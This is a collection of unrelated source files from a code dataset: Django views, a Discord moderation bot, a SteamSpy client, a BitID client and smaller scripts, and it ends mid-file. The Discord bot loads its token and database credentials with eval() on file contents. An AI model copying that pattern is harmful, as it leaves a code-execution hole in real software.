sheet.showPage()\n sheet.setFont('FreeSans', 24)\n sheet.drawString(\n begin_position_x,\n begin_position_y,\n f'{number}. {item[\"ingredient__name\"]} - '\n f'{item[\"ingredient_total\"]}'\n f' {item[\"ingredient__measurement_unit\"]}'\n )\n begin_position_y -= 30\n sheet.showPage()\n sheet.save()\n return response\n\n @action(\n detail=False,\n methods=['GET'],\n permission_classes=(IsAuthenticated,)\n )\n def download_shopping_cart(self, request, pk=None):\n \"\"\"\n Метод создания списка покупок.\n \"\"\"\n ingredients = Ingredients_Amount.objects.filter(\n recipe__shopping_cart__user=request.user.id\n ).values(\n 'ingredient__name',\n 'ingredient__measurement_unit'\n ).annotate(ingredient_total=Sum('amount'))\n return self.canvas_method(ingredients)\n","repo_name":"noskov-sergey/foodgram-project-react","sub_path":"backend/foodgram/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15029053633","text":"import asyncio\nimport asyncpg\nfrom discord.ext import commands, tasks\nimport discord\ndiscord.http.API_VERSION = 9\n\nd = {}\ntk = ''\n\nwith open('tk.json','r+') as f:\n info = eval(f.read())['db']\n for key in list(info.keys()):\n d[key] = info[key]\n\n\nasync def connections():\n global connection\n connection = await asyncpg.create_pool(host=d['host'], port=d['port'], user=d['user'],\n password=d['pwd'], database=d['db'])\n\n\nasync def get_prefix(client, message):\n global p\n p = 'a!'\n info = await connection.fetchrow('SELECT * FROM bot_settings WHERE guild_id=$1', message.guild.id)\n if info is not None:\n p = dict(info)['bot_prefix']\n return p\n\n\nbot = commands.Bot(command_prefix=get_prefix, case_insensitive=True, intents=discord.Intents.all(), max_messages=100000000, help_command=None, strip_after_prefix=True)\ncmds = {'warn': ['Give a member warning points', 'a!warn [reason]','kick members, ban members'],\n 'unwarn': ['Remove warning points from a member', 'a!warn ','kick members, ban members'],\n 'warns': [\"Check a member's warning points.\", 'a!warns [member]', 'none'],\n 'mute': ['Timeout/mute a member', 'a!mute [reason]', 'moderate/mute members'],\n 'unmute': ['Un-timeout/unmute a member', 'a!unmute ', 'moderate/mute members'],\n 'kick': ['Kick a member', 'a!kick [reason]', 'kick members'],\n 'tempban': ['Temporarily ban a member', 'a!tempban [reason]', 'ban members'],\n 'ban': ['Ban a member', 'a!ban [reason]>', 'ban members'],\n 'unban': ['Unban a member', 'a!unban ', 'ban members'],\n 'amsettings': ['Check dashboard configuration settings for a certain type of setting', 'a!amsettings [table]', 'none'],\n 'purge': ['Purge up to 500 messages at a time', 'a!purge ', 'manage messages'],\n 'prefix': ['Check the current command prefix', 'a!prefix', 'none'],\n 'changeprefix': ['Change the command prefix', 'a!changeprefix ', 'manage server'],\n 'infractions': [\"Check all of a member's infractions\", 'a!infractions [page]', 'none']\n }\n\ndetailed_cmds = {'warn': ['Give a member warning points with an optional reason.', 'a!warn [member] [amount] ','`kick members`, `ban members`', '`a!warn @user 6 spam`\\n`a!warn @user 9`'],\n 'unwarn': ['Remove warning points from a member. ', 'a!warn [member] [amount]', '`kick members`, `ban members`', '`a!unwarn @user 8`\\n`a!unwarn @user 0`'],\n 'warns': [\"Check a member's warning points. \\nIf no member argument is passed, check the warning points of the user entering the command.\", 'a!warns [member]', 'no special permissions required', '`a!warns @user`\\n`a!warns`'],\n 'mute': ['Timeout a member for a duration in seconds with an optional reason.', 'a!mute [reason]', '`moderate/mute members`', '`a!mute @user 7200 being insulting`\\n`a!mute @user 259200`'],\n 'unmute': [\"Remove a member's timeout.\", 'a!unmute ', '`moderate/mute members`', '`a!unmute @user`'],\n 'kick': ['Kick a member with an optional reason.', 'a!kick [reason]', '`kick members`', '`a!kick @user persistent disobedience`\\n`a!kick @user`'],\n 'tempban': ['Temporarily ban a member for a duration in seconds with an optional reason.', 'a!tempban [reason]', '`ban members`', '`a!tempban @user 2592000 NSFW`\\n`a!tempban @user 172800`'],\n 'ban': ['Ban a member with an optional reason.', 'a!ban [reason]', '`ban members`','`a!ban @user death threats`\\n`a!ban @user`'],\n 'unban': ['Unban a member', 'a!unban ', '`ban members`', '`a!unban @user`'],\n 'amsettings': ['Check dashboard configuration settings for a certain type of setting.', 'a!amsettings [table]', 'no special permissions required', '`a!amsettings messagespam`\\n`a!amsettings badwords`'],\n 'purge': ['Purge a specified number of messages\\nEntering an amount above 500 will not purge for technical reasons.', 'a!purge ', 'manage messages', '`a!purge 500`'],\n 'prefix': ['Check the current command prefix.', 'a!prefix', 'no special permissions required', '`a!prefix`'],\n 'changeprefix': ['Change the command prefix to a specified prefix.', 'a!changeprefix ', 'manage server', '`a!prefix $`'],\n 'infractions': [\"Check a member's complete infraction history(e.g., mutes, unmutes, warns, unwarns, kicks, tempbans, bans, unbans). The infraction history is split into 'pages' of up to 10 records each.\\nInputting no member or page argument shows the first infraction page of the user entering the command. Inputting a member argument but no page argument shows the first infraction page of the member being checked.\", 'a!infractions [page]', 'no special permissions required', '`a!infractions @user 3`\\n`a!infractions @user`\\n`a!infractions`']\n }\n\n\nbot.load_extension('features.automod')\nbot.load_extension('features.cmds')\nbot.load_extension('features.modlogging')\nbot.load_extension('features.autokickban')\n\n\n@bot.event\nasync def on_ready():\n print('ready')\n await bot.change_presence(status=discord.Status.online, activity=discord.Game(\"a!help\"))\n\n@bot.event\nasync def on_command_error(ctx, exception):\n if isinstance(exception, discord.ext.commands.errors.CommandNotFound):\n await ctx.send(f\"No command called '{ctx.invoked_with}'.\")\n\n\n@bot.command()\nasync def help(ctx, command=None):\n if command is None:\n e = discord.Embed(title=\"AMGX Commands\", color=0x40fc0c)\n for cmd in list(cmds.keys()):\n c = cmds[cmd]\n e.add_field(name=cmd, value=f\"**Description:** {c[0].lower()}\\n**Usage:** `{c[1]}`\\n**Permissions required:** {c[2]}\\n\",\n inline=False)\n e.add_field(name=\"Dashboard link\", value='https://www.amgx-bot.com')\n e.set_footer(\n text=\"Arguments surrounded by greater/less than signs are required. \\nArguments surrounded by brackets are optional. \\nAny duration arguments have to be inputted in seconds. \\nThe 'table' argument must be one of 'modlogs', 'messagespam', 'emojispam', 'mentionspam', 'stickerspam', 'attachmentspam', 'linkspam', 'duplicatecharacters', 'duplicatemessages', 'linebreaks', 'toomanycaps', 'invites', 'selfbot', 'nsfwcontent', 'hatespeech', 'badwords', 'badlinks', 'badnicks', 'badnames', 'badstatuses', 'nsfwpfp', 'autopunish', 'autokickban', or 'automodgeneral'. \\nFor the 'unwarn' command, enter 0 as the argument to remove all infraction points.\")\n await ctx.send(embed=e)\n else:\n if command in detailed_cmds:\n e = discord.Embed(title=command, description=detailed_cmds[command][0]+'\\n', color=0x40fc0c)\n e.add_field(name='Usage', value=f\"`{detailed_cmds[command][1]}` \\n\")\n e.add_field(name='Permissions Required', value=detailed_cmds[command][2], inline=True)\n e.add_field(name='Examples', value=detailed_cmds[command][3], inline=False)\n await ctx.send(embed=e)\n else:\n await ctx.send(embed=discord.Embed(title='', description=f\"<:xmark:1009919995297415190> No command named '{command}'.\", color=0xff2300))\n\n\nwith open('tk.json', 'r+') as f:\n token = eval(f.read())['token']\n tk += token\n\nasyncio.get_event_loop().run_until_complete(connections())\nbot.run(tk)\n\n","repo_name":"muyuan2007/automodBot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5792814763","text":"import subprocess\nimport shlex\nfrom background_task import background\nfrom django.core.mail import send_mail\nfrom django.conf import settings\n\n\n@background(schedule=1)\ndef notify_user(message, recipients):\n APP_NAME = getattr(settings, \"APP_NAME\", None)\n print(\"sending\")\n send_mail(\n APP_NAME,\n message,\n 'troubleticket@novafreight.net',\n recipients,\n fail_silently=False,\n )\n print(\"sent\")\n\n\ndef process_tasks():\n process_tasks_cmd = \"python manage.py process_tasks --duration 60\"\n process_tasks_args = shlex.split(process_tasks_cmd)\n process_tasks_subprocess = subprocess.Popen(process_tasks_args)\n","repo_name":"utsavstha/TicketSystem","sub_path":"TicketingSystem/email_task.py","file_name":"email_task.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31747177674","text":"import pandas as pd\n\ntrain = pd.read_csv('../input/train.csv')\ntest = pd.read_csv('../input/test.csv')\nques=pd.read_csv('../input/question.csv')\nques.columns=[\"q1\",\"w1\",\"c1\"]\ntrain=train.merge(ques,on=\"q1\",how=\"left\")\ntest=test.merge(ques,on=\"q1\",how=\"left\")\nques.columns=[\"q2\",\"w2\",\"c2\"]\ntrain=train.merge(ques,on=\"q2\",how=\"left\")\ntest=test.merge(ques,on=\"q2\",how=\"left\")\n\ntrain[\"w1_new\"]=list(map(lambda a,b:\" \".join([i for i in a.split(\" \") if i not in b]) or a,train[\"w1\"],train[\"w2\"]))\ntrain[\"w2_new\"]=list(map(lambda a,b:\" \".join([i for i in a.split(\" \") if i not in b]) or a,train[\"w2\"],train[\"w1\"]))\n\ntest[\"w1_new\"]=list(map(lambda a,b:\" \".join([i for i in a.split(\" \") if i not in b]) or a,test[\"w1\"],train[\"w2\"]))\ntest[\"w2_new\"]=list(map(lambda a,b:\" \".join([i for i in a.split(\" \") if i not in b]) or a,test[\"w2\"],train[\"w1\"]))\n\ntrain[[\"label\",\"w1_new\",\"w2_new\"]].to_csv(\"../input/train_new_words.csv\",index=None)\ntest[[\"w1_new\",\"w2_new\"]].to_csv(\"../input/test_new_words.csv\",index=None)\n","repo_name":"CortexFoundation/paipaidai-rank10","sub_path":"code/data_process.py","file_name":"data_process.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"78"} +{"seq_id":"37689277253","text":"# Практика\n# Создайте и активируйте виртуальное окружение, установите библиотеку для работы с Twilio API (в документации сервиса Twilio есть инструкция) и напишите код, который сгенерирует запрос к API Twilio и отправит SMS на ваш номер телефона.\n# Потестируйте, что будет при отправке SMS на другой телефон [спойлер: никто не пострадает от незапрошенных SMS]\n\nimport mainsms\n\nproject = 'test_send_sms'\napi_key = ''\n\nsms = mainsms.SMS(project, api_key)\n\n\nsms.sendSMS('79184220721','Тест', test=0)","repo_name":"shamrn/lesson-tasks-","sub_path":"Send_sms/send sms.py","file_name":"send sms.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9489337573","text":"import json\nimport math\nfrom time import sleep\nfrom lxml import html\nimport requests\n\n\n# This class encapsulates the information on avaliable Steam games and provides an access point\n# for the SteamSpy API. Games are encoded using python Dictionary objects, keyed to retrieve\n# parameters such as ID, name, genres, tags, ratings, price, etc. The access functions\n# dynamically update this data cache behind the scenes, and write it to a file for \n# persistance between runtimes Operation names are explanitory of function.\nclass SteamSpy_API_Caller:\n\n def __init__(self, appFile=\"\", tagFile=\"\"):\n\n self.appFileName = appFile\n self.tagFileName = tagFile\n self.requiredGenres = []\n self.app_data_cache = dict()\n self.tag_data_cache = dict()\n if appFile != \"\":\n try:\n appCache = open(self.appFileName)\n self.app_data_cache = json.load(appCache)\n appCache.close()\n except:\n pass\n\n if tagFile != \"\":\n try:\n tagCache = open(self.tagFileName)\n self.tag_data_cache = json.load(tagCache)\n tagCache.close()\n except:\n pass\n\n def save_game_data_to_cache(self):\n try:\n appCache = open(self.appFileName, 'w')\n json.dump(self.app_data_cache, appCache)\n appCache.close()\n\n tagCache = open(self.tagFileName, 'w')\n json.dump(self.tag_data_cache, tagCache)\n tagCache.close()\n return True\n except:\n return False\n\n def setRequiredGenres(self, genres):\n self.requiredGenres = genres\n\n def getRequiredGenres(self):\n return self.requiredGenres \n\n # Performs web scraping on steam store to search for the given game's app ID\n # Argument: search_string ; A string containing the name of the game; example: \"Dota 2\"\n # Returns: A list containing [id: string, image_link: string], with a string containing the steam app ID if the search contained a game that matched\n # the search string, or a string of \"999999999\" (an invalid ID) if no matches were found\n def get_game_id_from_steam(self, search_string):\n try:\n steam_lookup_url = \"https://store.steampowered.com/search/?term=\" + search_string.replace(\" \", \"+\")\n steam_page = requests.get(steam_lookup_url)\n html_tree = html.fromstring(steam_page.content)\n #xpath based on inspecting page source\n steam_store_urls = html_tree.xpath('//*[@id=\"search_result_container\"]/div/a/@href')\n image_urls = html_tree.xpath('//*[@id=\"search_result_container\"]/div/a/div/img/@src')\n results = []\n #Remove punctiation and capitals from search string, steam urls will never have these in the names\n search_string_formatted = search_string.replace(\":\", \"\").replace(\"!\", \"\").replace(\"?\", \"\").replace(\"'\", \"\").replace(\",\", \"\").replace(\"-\", \"\").replace(\" \", \" \").lower()\n for i in range(len(steam_store_urls)):\n fields = steam_store_urls[i].split(\"/\")\n name = fields[5].replace(\"_\", \" \").replace(\" \", \" \").replace(\"®\", \" \").lower()\n if search_string_formatted == name:\n image_scrape = requests.get(image_urls[i])\n return [fields[4], image_scrape.content]\n return [\"999999999\", \"\"]\n except:\n return [\"999999999\", \"\"]\n\n # Adds a game from the Steam API to the cache\n def load_game_data(self, gameID):\n if not str(gameID).isdigit() or str(gameID) == \"999999999\":\n return False\n try:\n api_call_url = \"https://steamspy.com/api.php?request=appdetails&appid=\" + str(gameID)\n sleep(0.2)\n parsed_result = requests.get(api_call_url).json()\n if parsed_result[\"name\"] == None:\n return False\n self.app_data_cache[str(gameID)] = parsed_result\n return True\n except:\n return False\n\n # Adds a tag and related list of tagged games from the Steam API to the cache\n def load_tagged_games(self, tag_name):\n try:\n api_call_url = \"https://steamspy.com/api.php?request=tag&tag=\" + tag_name.replace(\" \", \"+\")\n sleep(0.2)\n parsed_result = requests.get(api_call_url).json()\n if len(parsed_result) == 0:\n return False\n tag_entry = dict()\n for game in parsed_result:\n owned = parsed_result[game]['owners']\n owned = [int(x.strip().replace(\",\", \"\")) for x in owned.split(\"..\")]\n if len(owned) > 0 and owned[0] >= 200000:\n tag_entry[game] = True\n self.tag_data_cache[tag_name] = tag_entry\n return True\n except:\n return False\n\n def get_games_with_tag(self, tag_name):\n if tag_name not in self.tag_data_cache:\n isRealID = self.load_tagged_games(tag_name)\n if not isRealID:\n return []\n return self.tag_data_cache[tag_name]\n\n def get_genres(self, gameID):\n if str(gameID) not in self.app_data_cache:\n isRealID = self.load_game_data(gameID)\n if not isRealID:\n return []\n \n genre = self.app_data_cache[str(gameID)]['genre']\n genre_list = [x.strip() for x in genre.split(',')]\n return genre_list\n\n def get_tags(self, gameID):\n if str(gameID) not in self.app_data_cache:\n isRealID = self.load_game_data(gameID)\n if not isRealID:\n return []\n \n tags = self.app_data_cache[str(gameID)]['tags']\n tag_list = list(tags.keys())\n return tag_list\n\n # Modified tag access function includes the number of votes for each tag.\n # Used internally for recommendation engine.\n def get_tags_and_values(self, gameID):\n if str(gameID) not in self.app_data_cache:\n isRealID = self.load_game_data(gameID)\n if not isRealID:\n return []\n \n tags = self.app_data_cache[str(gameID)]['tags']\n tag_list = list(tags.items())\n return tag_list\n \n def get_rating(self, gameID):\n if str(gameID) not in self.app_data_cache:\n isRealID = self.load_game_data(gameID)\n if not isRealID:\n return []\n\n pos = self.app_data_cache[str(gameID)]['positive']\n neg = self.app_data_cache[str(gameID)]['negative']\n\n # Returns [ (pos / total) , total ]\n if pos+neg > 0:\n return [pos/float(pos+neg), pos+neg]\n else:\n return [0, 0]\n\n def get_playtime(self, gameID):\n if str(gameID) not in self.app_data_cache:\n isRealID = self.load_game_data(gameID)\n if not isRealID:\n return []\n \n avg = self.app_data_cache[str(gameID)]['average_forever']\n med = self.app_data_cache[str(gameID)]['median_forever']\n \n #Calls are in minutes, but return is in hours\n return [avg/float(60), med/float(60)]\n\n def get_name(self, gameID):\n if str(gameID) not in self.app_data_cache:\n isRealID = self.load_game_data(gameID)\n if not isRealID:\n return \"\"\n\n return self.app_data_cache[str(gameID)]['name']\n\n def get_steam_price(self, gameID):\n if str(gameID) not in self.app_data_cache:\n isRealID = self.load_game_data(gameID)\n if not isRealID:\n return []\n \n currentPrice = self.app_data_cache[str(gameID)]['price']\n normalPrice = self.app_data_cache[str(gameID)]['initialprice']\n currentDiscount = self.app_data_cache[str(gameID)]['discount']\n\n return [currentPrice, normalPrice, currentDiscount]\n\n #Sorts and returns the entire cache by rating for ranking display.\n def get_ranked_by_rating(self, cut, with_conf=True):\n ranked = []\n if with_conf:\n ranked = sorted(self.app_data_cache.items(), key=lambda x: (0.5 + ((x[1]['positive'] / float(x[1]['positive']+x[1]['negative']))-0.5)*math.pow((1-1/float(math.log((x[1]['positive']+x[1]['negative']), 10))), 2)), reverse=True)\n else:\n ranked = sorted(self.app_data_cache.items(), key=lambda x: (x[1]['positive'] / float(x[1]['positive']+x[1]['negative'])), reverse=True)\n result = []\n for i in range(0, cut):\n result.append([ranked[i][0], ranked[i][1]['name'], self.get_rating(ranked[i][0])])\n return result\n\n #Sorts and returns the entire cache by hours played for ranking display.\n def get_ranked_by_hours(self, cut):\n \n ranked = sorted(self.app_data_cache.items(), key=lambda x: x[1]['average_2weeks'], reverse=True)\n result = []\n for i in range(0, cut):\n result.append([ranked[i][0], ranked[i][1]['name'], ranked[i][1]['median_2weeks']])\n return result\n \n # Helper function for the cross-recomendation engine. Retrieves similar games based on a single\n # target game, by sorting for games with the most similar distribution of tags and votes. \n def recommend_from_single_game(self, gameID, matchRate=0.5, cutoff=10, ratePower=1, confPower=1):\n if not str(gameID).isdigit():\n return []\n\n tags = self.get_tags_and_values(gameID)\n #tags = sorted(tags, key=lambda x: x[1], reverse=True)\n #Normalize the scores given to each tag\n tagSum = sum([t[1] for t in tags])\n tagWeights = [(tags[i][0], (len(tags)-i)*tags[i][1]/float(tagSum)) for i in range(len(tags))]\n\n frequency_list = {}\n for tag in tagWeights:\n #Take all tags of given game, add all games with those tags into a list\n gameList = list(self.get_games_with_tag(tag[0]).keys())\n #Make a set of pairs of game ID's and the tag similarity score with the given game\n for game in gameList:\n frequency_list[game] = frequency_list.get(game, 0) + 1\n \n\n #Sort list by greatest number of tags in common and cut off at only the top items. \n pre_final = sorted(frequency_list.items(), key=lambda x: x[1], reverse=True)\n original = pre_final[0]\n catch = len(pre_final)\n for i in range(len(pre_final)):\n if pre_final[i][1]/float(pre_final[0][1]) < matchRate:\n catch = i\n break\n pre_final = pre_final[0:catch]\n\n #Take the pre-final results and score them based on the difference between their weighted tag profiles\n #and the given game's. Lower difference scores indicate a closer match. \n score_list = {}\n for game in pre_final:\n g_tags = self.get_tags_and_values(game[0])\n g_tagSum = sum([t[1] for t in g_tags])\n g_tagWeights = {g_tags[i][0]:((len(g_tags)-i)*g_tags[i][1]/float(g_tagSum)) for i in range(len(g_tags))}\n diff = sum([abs(t[1]-g_tagWeights.get(t[0],0)) for t in tagWeights])\n score_list[game[0]] = diff\n\n final = sorted(score_list.items(), key=lambda x: x[1])\n \n \n #Get the id, and name for each game in the cutoff\n #Compute a score using the number of tags in common and the player rating\n results = []\n for game in final:\n g_id = game[0]\n similarity = game[1]#/float(original[1])\n g_name = self.get_name(g_id)\n rate = self.get_rating(g_id)\n conf = (1-1/float(math.log(rate[1], 10)))\n revisedRate = 0.5 + (rate[0]-0.5)*math.pow(conf, confPower)\n #print([g_name, similarity, rate, conf, revisedRate])\n score = similarity*(1/math.pow(revisedRate, ratePower))\n results.append([g_id, g_name, score])\n \n #Sort final results by score \n results = sorted(results, key=lambda x: x[2])\n\n if len(results) > cutoff:\n results = results[0:cutoff]\n \n return [ [r[0], r[1]] for r in results ]\n\n # Calls the single-recommender on each provided game, then cross-references the results and returns the entire batch.\n def recommend_multi_input(self, gameIDs=[], required_genres=[], banned_genres=[], banned_games=[], showTop=5, cross_thresh=0.5, matchRate=0.5, cutoff=10, ratePower=1, confPower=1):\n all_results = []\n for gameID in gameIDs:\n all_results.append( self.recommend_from_single_game(gameID, matchRate=matchRate, cutoff=cutoff, ratePower=ratePower, confPower=confPower) )\n \n for result in all_results:\n remove_list = []\n for r in result:\n r_genres = self.get_genres(r[0])\n found = False\n banned = False\n for g in r_genres:\n if g in required_genres:\n found = True\n break\n if g in banned_genres:\n banned = True\n break\n \n if r[0] in gameIDs or r[0] in banned_games or (found == False and len(required_genres) > 0) or banned:\n remove_list.append(r)\n\n for r in remove_list:\n result.remove(r)\n\n \n frequency_list = {}\n for result in all_results:\n for r in result:\n frequency_list[r[0]] = frequency_list.get(r[0], 0) + 1\n\n cross_results = sorted(frequency_list.items(), key=lambda x: x[1], reverse=True)\n catch = len(cross_results)\n for i in range(len(cross_results)):\n if cross_results[i][1] < cross_thresh:\n catch = i\n break\n\n cross_results = cross_results[0:catch]\n\n final_cross = [ [c[0], self.get_name(c[0])] for c in cross_results ]\n\n final_single = [ [gameIDs[i], self.get_name(gameIDs[i]), all_results[i][0:showTop]] if len(all_results[i]) >= showTop else [gameIDs[i], self.get_name(gameIDs[i]), all_results[i]] for i in range(len(gameIDs)) ]\n\n return [final_cross, final_single]\n\n\n\n\n\n \n \n \n","repo_name":"KaelKauffman/Project","sub_path":"Documents/SDD/SDD_Project_Connect5-master/SteamRush Python Application/SteamSpy_API_Calls.py","file_name":"SteamSpy_API_Calls.py","file_ext":"py","file_size_in_byte":14284,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"18511769600","text":"#!/usr/bin/env python\n\nfrom tkinter import Frame, Label, CENTER, Entry\n\n\ncell_width = 10\ncell_height = 10\nclass TestFrame(Frame):\n\n def __init__(self):\n Frame.__init__(self)\n self.grid()\n\n background = Frame(self, bg=\"#ff00ff\", width=30, height=30)\n background.grid(row=0, column=0)\n\n Label(background, bg=\"#dd1b1b\", text=\"Top Left\", width=cell_width, height=cell_height).grid(row=0)\n Label(background, bg=\"#12b916\", text=\"Bottom Left\", width=cell_width, height=cell_height).grid(row=1)\n Label(background, bg=\"#12b916\", text=\"Top Right\", width=cell_width, height=cell_height).grid(row=0, column=1)\n Label(background, bg=\"#dd1b1b\", text=\"Bottom Right\", width=cell_width, height=cell_height).grid(row=1, column=1)\n\n SideBar = Frame(self, bg=\"#00ff00\", width=30, height=30)\n SideBar.grid(row=0, column=1)\n Label(SideBar, bg=\"#000000\", width=cell_height, height=cell_height).grid(row=0, column=0)\n\n \nif __name__ == \"__main__\":\n TestFrame().mainloop()\n","repo_name":"adarshmelethil/Sudoku","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42101517471","text":"from typing import Optional\n\nfrom common.models.executor import ExecutorInfo\nfrom common.models.resource import ResourceInfoList\nfrom common.models.state import TaskState\nfrom util.config import Config, ConfigField, BaseConfig, IncorrectFieldType, DateTimeField\n\n\nclass TaskReturnCode(BaseConfig):\n def __init__(self, retcode: int = None, **kwargs):\n super().__init__(**kwargs)\n self._retcode = retcode\n\n @property\n def retcode(self) -> 'Optional[int]':\n return self._retcode\n\n def set_retcode(self, retcode: int):\n self._retcode = retcode\n\n def to_json(self):\n return self.retcode\n\n def from_json(self, json_doc: int, skip_unknown_fields=False):\n if not isinstance(json_doc, int) and json_doc is not None:\n raise IncorrectFieldType(\n '{}: TaskReturnCode can be constructed only from int - {} passed.'.format(self.path_to_node,\n json_doc.__class__.__name__))\n self._retcode = json_doc\n return self\n\n def verify(self):\n assert isinstance(self._retcode, int) or self._retcode is None, \\\n '{}: Return code should be int or None, but it is {}'.format(self.path_to_node,\n self._retcode.__class__.__name__)\n\n\nclass TaskExecutionInfo(Config):\n state = TaskState()\n retcode = TaskReturnCode()\n\n prep_start_time = DateTimeField()\n prep_finish_time = DateTimeField()\n prep_msg = ConfigField(type=str, required=False, default=None)\n\n start_time = DateTimeField()\n finish_time = DateTimeField()\n\n def start_preparation(self):\n self.state.change_state(TaskState.preparing)\n self.prep_start_time.set_to_now()\n\n def finish_preparation(self, success: bool, prep_msg: str = 'OK', is_initiated_by_user: bool = False):\n new_status = TaskState.prepared if success else TaskState.prepfailed\n if is_initiated_by_user:\n new_status = TaskState.stopped\n self.state.change_state(new_status)\n self.prep_msg = prep_msg\n self.prep_finish_time.set_to_now()\n\n def start_execution(self):\n self.state.change_state(TaskState.running)\n self.start_time.set_to_now()\n\n def finish_execution(self, retcode: int, is_initiated_by_user: bool = False):\n self.finish_time.set_to_now()\n self.retcode.set_retcode(retcode)\n if retcode == 0 and not is_initiated_by_user:\n self.state.change_state(TaskState.finished)\n else:\n self.state.change_state(TaskState.stopped if is_initiated_by_user else TaskState.failed)\n\n\nclass TaskStruct(Config):\n resources = ResourceInfoList()\n executor = ExecutorInfo()\n\n\nclass TaskInfo(Config):\n task_id = ConfigField(type=str, required=False, default=None)\n structure = TaskStruct()\n exec_stats = TaskExecutionInfo()\n","repo_name":"LuckyGeck/dedalus","sub_path":"common/models/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":2955,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"8400837007","text":"import logging\n\n\nclass Countdown:\n \"\"\"This class contains the management of the Countdown of the iDotMatrix device.\"\"\"\n\n def setCountdown(self, mode, minutes, seconds):\n \"\"\"Sets the countdown (and activates or disables it)\n\n Args:\n mode (int): mode of the countdown. 0 = disable, 1 = start, 2 = pause, 3 = restart\n minutes (int): minutes to count down from\n seconds (int): seconds to count down from\n\n Returns:\n _type_: byte array of the command which needs to be sent to the device\n \"\"\"\n try:\n return bytearray(\n [\n 7,\n 0,\n 8,\n 128,\n int(mode) % 256,\n int(minutes) % 256,\n int(seconds) % 256,\n ]\n )\n except BaseException as error:\n logging.error(\"could not set the countdown: {}\".format(error))\n","repo_name":"derkalle4/python3-idotmatrix-client","sub_path":"core/idotmatrix/countdown.py","file_name":"countdown.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"23928891670","text":"import httplib\nfrom urlparse import urlparse\nimport json\n\ndef postserv(rawuri,address,signature):\n\t#Return Error code of the HTTP server or 1\n\t# 200:OK, 401:denied\n\t# see W3C RFC2616 w3.org/Protocols/rfc2616/rfc2616-sec10.html\n\t#Return 1 if other error as connection or bad argument\n\theaders = {\"Content-type\": \"application/json\"}\n\ttry:\n\t\tdata = { \"uri\" : rawuri , # string of BitID full URI (link clicked) \"bitid://server.dom[:port]/[dir1/dir2/...]/callback?x=abcdef?u=1\"\n \"address\" : address , # string of the public key hash\n \"signature\": signature } # string of the URI signed (Qt compliant) in base64\n\t\tparamsj = json.dumps(data)\n\t\turi = urlparse(rawuri)\n\t\tassert uri.scheme == \"bitid\"\n\t\tconni = httplib.HTTPConnection(uri.hostname,uri.port,timeout=4)\n\t\tconni.request(\"POST\",uri.path,paramsj,headers)\n\t\trep = conni.getresponse()\n\t\tconni.close()\n\t\treturn rep.status\n\texcept:\n\t\treturn 1","repo_name":"antonio-fr/SimpleBitID","sub_path":"bitidpy.py","file_name":"bitidpy.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"78"} +{"seq_id":"21118697089","text":"class Solution:\n def countServers(self, n: int, logs: List[List[int]], x: int, queries: List[int]) -> List[int]:\n \"\"\"\n ---------------- log timeseries\n query if sorted by time, we only need to scan the log timeseries one time\n moving the query as a window: (q[i]-x, q[i]) and maintain a dict recording what servers in the window\n n-size(dict) is the cnt of server that is NOT in the window\n \n \"\"\"\n res=[0]*len(queries) # ready to host this number of queries\n logs.sort(key=lambda x: x[1]) # sort logs by time\n qries=[(ii, tt) for ii, tt in enumerate(queries)] # sort queries by time\n qries.sort(key=lambda x:x[1])\n\n # define the window\n ll, rr = 0, 0\n server2cnt={}\n for server_id, ts in qries: # check each query\n # move the right border\n while rr < len(logs) and logs[rr][1] <= ts:\n server2cnt[logs[rr][0]] = server2cnt.get(logs[rr][0], 0)+1\n rr+=1\n \n while ll < len(logs) and logs[ll][1] < ts-x:\n server2cnt[logs[ll][0]] -= 1\n if server2cnt[logs[ll][0]] == 0: del server2cnt[logs[ll][0]]\n ll+=1\n \n res[server_id]=n-len(server2cnt)\n\n return res","repo_name":"1688168/Leetcode","sub_path":"LC/[2747] Count Zero Request Servers.py","file_name":"[2747] Count Zero Request Servers.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"36354792592","text":"#!/usr/bin/python\n\nimport glob\nimport os\nimport re\nimport string\nimport subprocess\nimport sys\n\ntoolchain = os.environ['ANDROID_TOOLCHAIN']\narch = re.sub(r'.*/linux-x86/([^/]+)/.*', r'\\1', toolchain)\n\nsys.stderr.write('Checking symbols for arch \"%s\"...\\n' % arch)\n\ndef GetSymbols(library, functions_or_variables):\n api = '9'\n if library == 'libm' and arch == 'arm':\n api = '3'\n path = '%s/development/ndk/platforms/android-%s/arch-%s/symbols/%s.so.%s.txt' % (os.environ['ANDROID_BUILD_TOP'], api, arch, library, functions_or_variables)\n symbols = set()\n for line in open(path, 'r'):\n symbols.add(line.rstrip())\n #sys.stdout.write('%d %s in %s for %s\\n' % (len(symbols), functions_or_variables, library, arch))\n return symbols\n\ndef CheckSymbols(library, functions_or_variables):\n expected_symbols = GetSymbols(library, functions_or_variables)\n\n so_file = '%s/system/lib/%s.so' % (os.environ['ANDROID_PRODUCT_OUT'], library)\n\n # Example readelf output:\n # 264: 0001623c 4 FUNC GLOBAL DEFAULT 8 cabsf\n # 266: 00016244 4 FUNC GLOBAL DEFAULT 8 dremf\n # 267: 00019018 4 OBJECT 